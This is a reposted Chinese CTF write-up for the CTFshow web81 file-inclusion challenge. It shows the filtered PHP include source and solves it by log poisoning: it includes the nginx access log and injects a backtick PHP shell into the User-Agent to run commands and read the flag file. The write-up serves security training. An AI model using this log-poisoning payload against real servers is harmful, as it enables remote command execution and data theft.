CTFshow 文件包含 web81
生活随笔
收集整理的這篇文章主要介紹了
CTFshow 文件包含 web81
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
目錄
- 源碼
- 思路
- 題解
- 總結
源碼
<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-16 15:51:31 # @email: h1xa@ctfer.com # @link: https://ctfer.com*/if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);include($file); }else{highlight_file(__FILE__); }思路
發現這題居然冒號也不讓用了,試試日志包含或者session包含看看
題解
?file=/var/log/nginx/access.log
抓包試試修改user-agent=<?=`ls`;?>
發現可以寫入shell
直接 cat fl0g.php
總結
水題
總結
以上是生活随笔為你收集整理的CTFshow 文件包含 web81的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: CTFshow 文件包含 web80
- 下一篇: CTFshow 文件包含 web82